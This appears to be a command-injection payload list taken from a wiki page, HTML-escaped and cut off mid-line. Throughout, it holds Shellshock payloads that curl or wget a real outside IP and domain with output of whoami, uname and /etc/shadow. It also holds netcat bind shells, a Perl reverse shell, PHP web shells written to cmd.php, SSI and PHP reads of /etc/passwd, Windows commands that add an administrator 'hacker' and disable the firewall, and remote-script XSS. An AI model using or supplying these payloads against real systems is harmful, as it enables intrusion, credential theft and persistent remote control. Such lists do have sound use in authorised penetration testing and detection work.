 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=\`uname -a\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=24?shell=\`nc -lvvp 1234 -e /bin/bash\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=26?shell=\`nc -lvvp 1236 -e /bin/bash &amp;amp;\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=5&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 1 &amp;amp;&amp;amp; curl http://135.23.158.130/.testing/shellshock.txt?sleep=1&amp;amp;?vuln=6&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 1 &amp;amp;&amp;amp; echo vulnerable 1&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 3 &amp;amp;&amp;amp; curl http://135.23.158.130/.testing/shellshock.txt?sleep=3&amp;amp;?vuln=7&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 3 &amp;amp;&amp;amp; echo vulnerable 3&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 6 &amp;amp;&amp;amp; curl http://135.23.158.130/.testing/shellshock.txt?sleep=6&amp;amp;?vuln=8&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 6 &amp;amp;&amp;amp; curl http://135.23.158.130/.testing/shellshock.txt?sleep=9&amp;amp;?vuln=9&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 6 &amp;amp;&amp;amp; echo vulnerable 6&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=17?user=\`whoami\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=19?pwd=\`pwd\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=21?shadow=\`grep root /etc/shadow\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=23?uname=\`uname -a\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=25?shell=\`nc -lvvp 1235 -e /bin/bash\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=27?shell=\`nc -lvvp 1237 -e /bin/bash &amp;amp;\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=4&amp;quot;&lt;br /&gt;
 cat /etc/hosts&lt;br /&gt;
 $(`cat /etc/passwd`)&lt;br /&gt;
 cat /etc/passwd&lt;br /&gt;
 %0Acat%20/etc/passwd&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;{{ get_user_file(&amp;quot;/etc/passwd&amp;quot;) }}&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;!--#exec cmd=&amp;quot;/bin/cat /etc/passwd&amp;quot;--&amp;gt;&lt;br /&gt;
 &amp;lt;!--#exec cmd=&amp;quot;/bin/cat /etc/shadow&amp;quot;--&amp;gt;&lt;br /&gt;
 &amp;lt;!--#exec cmd=&amp;quot;/usr/bin/id;--&amp;gt;&lt;br /&gt;
 system('cat /etc/passwd');&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;cat /etc/passwd&amp;quot;);?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Windows =====&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
 `&lt;br /&gt;
 || &lt;br /&gt;
 | &lt;br /&gt;
 ; &lt;br /&gt;
 '&lt;br /&gt;
 '&amp;quot;&lt;br /&gt;
 &amp;quot;&lt;br /&gt;
 &amp;quot;'&lt;br /&gt;
 &amp;amp; &lt;br /&gt;
 &amp;amp;&amp;amp; &lt;br /&gt;
 %0a&lt;br /&gt;
 %0a%0d&lt;br /&gt;
 &lt;br /&gt;
 %0Aid&lt;br /&gt;
 %0a id %0a&lt;br /&gt;
 %0Aid%0A&lt;br /&gt;
 %0a ping -i 30 127.0.0.1 %0a&lt;br /&gt;
 %0A/usr/bin/id&lt;br /&gt;
 %0A/usr/bin/id%0A&lt;br /&gt;
 %2 -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #' |ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #\&amp;quot; |ping -n 21 127.0.0.1&lt;br /&gt;
 %20{${phpinfo()}}&lt;br /&gt;
 %20{${sleep(20)}}&lt;br /&gt;
 %20{${sleep(3)}}&lt;br /&gt;
 a|id|&lt;br /&gt;
 a;id|&lt;br /&gt;
 a;id;&lt;br /&gt;
 a;id\n&lt;br /&gt;
 () { :;}; curl http://135.23.158.130/.testing/shellshock.txt?vuln=12&lt;br /&gt;
 | curl http://crowdshield.com/.testing/rce.txt&lt;br /&gt;
 &amp;amp; curl http://crowdshield.com/.testing/rce.txt&lt;br /&gt;
 ; curl https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 &amp;amp;&amp;amp; curl https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 curl https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
  curl https://crowdshield.com/.testing/rce_vuln.txt ||`curl https://crowdshield.com/.testing/rce_vuln.txt` #' |curl https://crowdshield.com/.testing/rce_vuln.txt||`curl https://crowdshield.com/.testing/rce_vuln.txt` #\&amp;quot; |curl https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 curl https://crowdshield.com/.testing/rce_vuln.txt ||`curl https://crowdshield.com/.testing/rce_vuln.txt` #' |curl https://crowdshield.com/.testing/rce_vuln.txt||`curl https://crowdshield.com/.testing/rce_vuln.txt` #\&amp;quot; |curl https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 $(`curl https://crowdshield.com/.testing/rce_vuln.txt?req=22jjffjbn`)&lt;br /&gt;
 dir&lt;br /&gt;
 | dir&lt;br /&gt;
 ; dir&lt;br /&gt;
 $(`dir`)&lt;br /&gt;
 &amp;amp; dir&lt;br /&gt;
 &amp;amp;&amp;amp;dir&lt;br /&gt;
 &amp;amp;&amp;amp; dir&lt;br /&gt;
 | dir C:\&lt;br /&gt;
 ; dir C:\&lt;br /&gt;
 &amp;amp; dir C:\&lt;br /&gt;
 &amp;amp;&amp;amp; dir C:\&lt;br /&gt;
 dir C:\&lt;br /&gt;
 | dir C:\Documents and Settings\*&lt;br /&gt;
 ; dir C:\Documents and Settings\*&lt;br /&gt;
 &amp;amp; dir C:\Documents and Settings\*&lt;br /&gt;
 &amp;amp;&amp;amp; dir C:\Documents and Settings\*&lt;br /&gt;
 dir C:\Documents and Settings\*&lt;br /&gt;
 | dir C:\Users&lt;br /&gt;
 ; dir C:\Users&lt;br /&gt;
 &amp;amp; dir C:\Users&lt;br /&gt;
 &amp;amp;&amp;amp; dir C:\Users&lt;br /&gt;
 dir C:\Users&lt;br /&gt;
 ;echo%20'&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;'&lt;br /&gt;
 echo '&amp;lt;img src=https://crowdshield.com/.testing/xss.js onload=prompt(2) onerror=alert(3)&amp;gt;&amp;lt;/img&amp;gt;'// XXXXXXXXXXX&lt;br /&gt;
 | echo &amp;quot;&amp;lt;?php include($_GET['page'])| ?&amp;gt;&amp;quot; &amp;gt; rfi.php&lt;br /&gt;
 ; echo &amp;quot;&amp;lt;?php include($_GET['page']); ?&amp;gt;&amp;quot; &amp;gt; rfi.php&lt;br /&gt;
 &amp;amp; echo &amp;quot;&amp;lt;?php include($_GET['page']); ?&amp;gt;&amp;quot; &amp;gt; rfi.php&lt;br /&gt;
 &amp;amp;&amp;amp; echo &amp;quot;&amp;lt;?php include($_GET['page']); ?&amp;gt;&amp;quot; &amp;gt; rfi.php&lt;br /&gt;
 echo &amp;quot;&amp;lt;?php include($_GET['page']); ?&amp;gt;&amp;quot; &amp;gt; rfi.php&lt;br /&gt;
 | echo &amp;quot;&amp;lt;?php system('dir $_GET['dir']')| ?&amp;gt;&amp;quot; &amp;gt; dir.php &lt;br /&gt;
 ; echo &amp;quot;&amp;lt;?php system('dir $_GET['dir']'); ?&amp;gt;&amp;quot; &amp;gt; dir.php &lt;br /&gt;
 &amp;amp; echo &amp;quot;&amp;lt;?php system('dir $_GET['dir']'); ?&amp;gt;&amp;quot; &amp;gt; dir.php &lt;br /&gt;
 &amp;amp;&amp;amp; echo &amp;quot;&amp;lt;?php system('dir $_GET['dir']'); ?&amp;gt;&amp;quot; &amp;gt; dir.php &lt;br /&gt;
 echo &amp;quot;&amp;lt;?php system('dir $_GET['dir']'); ?&amp;gt;&amp;quot; &amp;gt; dir.php&lt;br /&gt;
 | echo &amp;quot;&amp;lt;?php system($_GET['cmd'])| ?&amp;gt;&amp;quot; &amp;gt; cmd.php&lt;br /&gt;
 ; echo &amp;quot;&amp;lt;?php system($_GET['cmd']); ?&amp;gt;&amp;quot; &amp;gt; cmd.php&lt;br /&gt;
 &amp;amp; echo &amp;quot;&amp;lt;?php system($_GET['cmd']); ?&amp;gt;&amp;quot; &amp;gt; cmd.php&lt;br /&gt;
 &amp;amp;&amp;amp; echo &amp;quot;&amp;lt;?php system($_GET['cmd']); ?&amp;gt;&amp;quot; &amp;gt; cmd.php&lt;br /&gt;
 echo &amp;quot;&amp;lt;?php system($_GET['cmd']); ?&amp;gt;&amp;quot; &amp;gt; cmd.php&lt;br /&gt;
 ;echo '&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;'&lt;br /&gt;
 echo '&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;'// XXXXXXXXXXX&lt;br /&gt;
 echo '&amp;lt;script src=https://crowdshield.com/.testing/xss.js&amp;gt;&amp;lt;/script&amp;gt;'// XXXXXXXXXXX&lt;br /&gt;
 | echo &amp;quot;use Socket;$i=&amp;quot;192.168.16.151&amp;quot;;$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&amp;quot;tcp&amp;quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&amp;quot;&amp;gt;;S&amp;quot;);open(STDOUT,&amp;quot;&amp;gt;;S&amp;quot;);open(STDERR,&amp;quot;&amp;gt;;S&amp;quot;);exec(&amp;quot;/bin/sh -i&amp;quot;);};&amp;quot; &amp;gt; rev.pl&lt;br /&gt;
 ; echo &amp;quot;use Socket;$i=&amp;quot;192.168.16.151&amp;quot;;$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&amp;quot;tcp&amp;quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&amp;quot;&amp;gt;;S&amp;quot;);open(STDOUT,&amp;quot;&amp;gt;;S&amp;quot;);open(STDERR,&amp;quot;&amp;gt;;S&amp;quot;);exec(&amp;quot;/bin/sh -i&amp;quot;);};&amp;quot; &amp;gt; rev.pl&lt;br /&gt;
 &amp;amp; echo &amp;quot;use Socket;$i=&amp;quot;192.168.16.151&amp;quot;;$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&amp;quot;tcp&amp;quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDOUT,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDERR,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);exec(&amp;quot;/bin/sh -i&amp;quot;);};&amp;quot; &amp;gt; rev.pl&lt;br /&gt;
 &amp;amp;&amp;amp; echo &amp;quot;use Socket;$i=&amp;quot;192.168.16.151&amp;quot;;$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&amp;quot;tcp&amp;quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDOUT,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDERR,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);exec(&amp;quot;/bin/sh -i&amp;quot;);};&amp;quot; &amp;gt; rev.pl&lt;br /&gt;
 echo &amp;quot;use Socket;$i=&amp;quot;192.168.16.151&amp;quot;;$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&amp;quot;tcp&amp;quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDOUT,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDERR,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);exec(&amp;quot;/bin/sh -i&amp;quot;);};&amp;quot; &amp;gt; rev.pl&lt;br /&gt;
 () { :;}; echo vulnerable 10&lt;br /&gt;
 eval('echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')&lt;br /&gt;
 eval('ls')&lt;br /&gt;
 eval('pwd')&lt;br /&gt;
 eval('pwd');&lt;br /&gt;
 eval('sleep 5')&lt;br /&gt;
 eval('sleep 5');&lt;br /&gt;
 eval('whoami')&lt;br /&gt;
 eval('whoami');&lt;br /&gt;
 exec('echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')&lt;br /&gt;
 exec('ls')&lt;br /&gt;
 exec('pwd')&lt;br /&gt;
 exec('pwd');&lt;br /&gt;
 exec('sleep 5')&lt;br /&gt;
 exec('sleep 5');&lt;br /&gt;
 exec('whoami')&lt;br /&gt;
 exec('whoami');&lt;br /&gt;
 ;{$_GET[&amp;quot;cmd&amp;quot;]}&lt;br /&gt;
 `id`&lt;br /&gt;
 |id&lt;br /&gt;
 | id&lt;br /&gt;
 ;id&lt;br /&gt;
 ;id|&lt;br /&gt;
 ;id;&lt;br /&gt;
 &amp;amp; id&lt;br /&gt;
 &amp;amp;&amp;amp;id&lt;br /&gt;
 ;id\n&lt;br /&gt;
 ifconfig&lt;br /&gt;
 | ifconfig&lt;br /&gt;
 ; ifconfig&lt;br /&gt;
 &amp;amp; ifconfig&lt;br /&gt;
 &amp;amp;&amp;amp; ifconfig&lt;br /&gt;
 /index.html|id|&lt;br /&gt;
 ipconfig&lt;br /&gt;
 | ipconfig /all&lt;br /&gt;
 ; ipconfig /all&lt;br /&gt;
 &amp;amp; ipconfig /all&lt;br /&gt;
 &amp;amp;&amp;amp; ipconfig /all&lt;br /&gt;
 ipconfig /all&lt;br /&gt;
 ls&lt;br /&gt;
 $(`ls`)&lt;br /&gt;
 | ls -l /&lt;br /&gt;
 ; ls -l /&lt;br /&gt;
 &amp;amp; ls -l /&lt;br /&gt;
 &amp;amp;&amp;amp; ls -l /&lt;br /&gt;
 ls -l /&lt;br /&gt;
 | ls -laR /etc&lt;br /&gt;
 ; ls -laR /etc&lt;br /&gt;
 &amp;amp; ls -laR /etc&lt;br /&gt;
 &amp;amp;&amp;amp; ls -laR /etc&lt;br /&gt;
 | ls -laR /var/www&lt;br /&gt;
 ; ls -laR /var/www&lt;br /&gt;
 &amp;amp; ls -laR /var/www&lt;br /&gt;
 &amp;amp;&amp;amp; ls -laR /var/www&lt;br /&gt;
 | ls -l /etc/&lt;br /&gt;
 ; ls -l /etc/&lt;br /&gt;
 &amp;amp; ls -l /etc/&lt;br /&gt;
 &amp;amp;&amp;amp; ls -l /etc/&lt;br /&gt;
 ls -l /etc/&lt;br /&gt;
 ls -lh /etc/&lt;br /&gt;
 | ls -l /home/*&lt;br /&gt;
 ; ls -l /home/*&lt;br /&gt;
 &amp;amp; ls -l /home/*&lt;br /&gt;
 &amp;amp;&amp;amp; ls -l /home/*&lt;br /&gt;
 ls -l /home/*&lt;br /&gt;
 *; ls -lhtR /var/www/&lt;br /&gt;
 | ls -l /tmp&lt;br /&gt;
 ; ls -l /tmp&lt;br /&gt;
 &amp;amp; ls -l /tmp&lt;br /&gt;
 &amp;amp;&amp;amp; ls -l /tmp&lt;br /&gt;
 ls -l /tmp&lt;br /&gt;
 | ls -l /var/www/*&lt;br /&gt;
 ; ls -l /var/www/*&lt;br /&gt;
 &amp;amp; ls -l /var/www/*&lt;br /&gt;
 &amp;amp;&amp;amp; ls -l /var/www/*&lt;br /&gt;
 ls -l /var/www/*&lt;br /&gt;
 \n&lt;br /&gt;
 \n\033[2curl http://135.23.158.130/.testing/term_escape.txt?vuln=1?user=\`whoami\`&lt;br /&gt;
 \n\033[2wget http://135.23.158.130/.testing/term_escape.txt?vuln=2?user=\`whoami\`&lt;br /&gt;
 \n/bin/ls -al\n&lt;br /&gt;
 | nc -lvvp 4444 -e /bin/sh|&lt;br /&gt;
 ; nc -lvvp 4444 -e /bin/sh;&lt;br /&gt;
 &amp;amp; nc -lvvp 4444 -e /bin/sh&amp;amp;&lt;br /&gt;
 &amp;amp;&amp;amp; nc -lvvp 4444 -e /bin/sh &amp;amp;&lt;br /&gt;
 nc -lvvp 4444 -e /bin/sh&lt;br /&gt;
 nc -lvvp 4445 -e /bin/sh &amp;amp;&lt;br /&gt;
 nc -lvvp 4446 -e /bin/sh|&lt;br /&gt;
 nc -lvvp 4447 -e /bin/sh;&lt;br /&gt;
 nc -lvvp 4448 -e /bin/sh&amp;amp;&lt;br /&gt;
 \necho INJECTX\nexit\n\033[2Acurl https://crowdshield.com/.testing/rce_vuln.txt\n&lt;br /&gt;
 \necho INJECTX\nexit\n\033[2Asleep 5\n&lt;br /&gt;
 \necho INJECTX\nexit\n\033[2Awget https://crowdshield.com/.testing/rce_vuln.txt\n&lt;br /&gt;
 | net localgroup Administrators hacker /ADD&lt;br /&gt;
 ; net localgroup Administrators hacker /ADD&lt;br /&gt;
 &amp;amp; net localgroup Administrators hacker /ADD&lt;br /&gt;
 &amp;amp;&amp;amp; net localgroup Administrators hacker /ADD&lt;br /&gt;
 net localgroup Administrators hacker /ADD&lt;br /&gt;
 | netsh firewall set opmode disable&lt;br /&gt;
 ; netsh firewall set opmode disable&lt;br /&gt;
 &amp;amp; netsh firewall set opmode disable&lt;br /&gt;
 &amp;amp;&amp;amp; netsh firewall set opmode disable&lt;br /&gt;
 netsh firewall set opmode disable&lt;br /&gt;
 netstat&lt;br /&gt;
 ;netstat -a;&lt;br /&gt;
 | netstat -an&lt;br /&gt;
 ; netstat -an&lt;br /&gt;
 &amp;amp; netstat -an&lt;br /&gt;
 &amp;amp;&amp;amp; netstat -an&lt;br /&gt;
 netstat -an&lt;br /&gt;
 | net user hacker Password1 /ADD&lt;br /&gt;
 ; net user hacker Password1 /ADD&lt;br /&gt;
 &amp;amp; net user hacker Password1 /ADD&lt;br /&gt;
 &amp;amp;&amp;amp; net user hacker Password1 /ADD&lt;br /&gt;
 net user hacker Password1 /ADD&lt;br /&gt;
 | net view&lt;br /&gt;
 ; net view&lt;br /&gt;
 &amp;amp; net view&lt;br /&gt;
 &amp;amp;&amp;amp; net view&lt;br /&gt;
 net view&lt;br /&gt;
 \nid|&lt;br /&gt;
 \nid;&lt;br /&gt;
 \nid\n&lt;br /&gt;
 \n/usr/bin/id\n&lt;br /&gt;
 perl -e 'print &amp;quot;X&amp;quot;x1024'&lt;br /&gt;
 || perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 | perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 ; perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 &amp;amp; perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 &amp;amp;&amp;amp; perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 perl -e 'print &amp;quot;X&amp;quot;x16384'&lt;br /&gt;
 ; perl -e 'print &amp;quot;X&amp;quot;x2048'&lt;br /&gt;
 &amp;amp; perl -e 'print &amp;quot;X&amp;quot;x2048'&lt;br /&gt;
 &amp;amp;&amp;amp; perl -e 'print &amp;quot;X&amp;quot;x2048'&lt;br /&gt;
 perl -e 'print &amp;quot;X&amp;quot;x2048'&lt;br /&gt;
 || perl -e 'print &amp;quot;X&amp;quot;x4096'&lt;br /&gt;
 | perl -e 'print &amp;quot;X&amp;quot;x4096'&lt;br /&gt;
 ; perl -e 'print &amp;quot;X&amp;quot;x4096'&lt;br /&gt;
 &amp;amp; perl -e 'print &amp;quot;X&amp;quot;x4096'&lt;br /&gt;
 &amp;amp;&amp;amp; perl -e 'print &amp;quot;X&amp;quot;x4096'&lt;br /&gt;
 perl -e 'print &amp;quot;X&amp;quot;x4096'&lt;br /&gt;
 || perl -e 'print &amp;quot;X&amp;quot;x8096'&lt;br /&gt;
 | perl -e 'print &amp;quot;X&amp;quot;x8096'&lt;br /&gt;
 ; perl -e 'print &amp;quot;X&amp;quot;x8096'&lt;br /&gt;
 &amp;amp;&amp;amp; perl -e 'print &amp;quot;X&amp;quot;x8096'&lt;br /&gt;
 perl -e 'print &amp;quot;X&amp;quot;x8192'&lt;br /&gt;
 perl -e 'print &amp;quot;X&amp;quot;x81920'&lt;br /&gt;
 || phpinfo()&lt;br /&gt;
 | phpinfo()&lt;br /&gt;
  {${phpinfo()}}&lt;br /&gt;
 ;phpinfo()&lt;br /&gt;
 ;phpinfo();//&lt;br /&gt;
 ';phpinfo();//&lt;br /&gt;
 {${phpinfo()}}&lt;br /&gt;
 &amp;amp; phpinfo()&lt;br /&gt;
 &amp;amp;&amp;amp; phpinfo()&lt;br /&gt;
 phpinfo()&lt;br /&gt;
 phpinfo();&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;curl https://crowdshield.com/.testing/rce_vuln.txt?method=phpsystem_get&amp;quot;);?&amp;gt;&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;curl https://crowdshield.com/.testing/rce_vuln.txt?req=df2fkjj&amp;quot;);?&amp;gt;&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX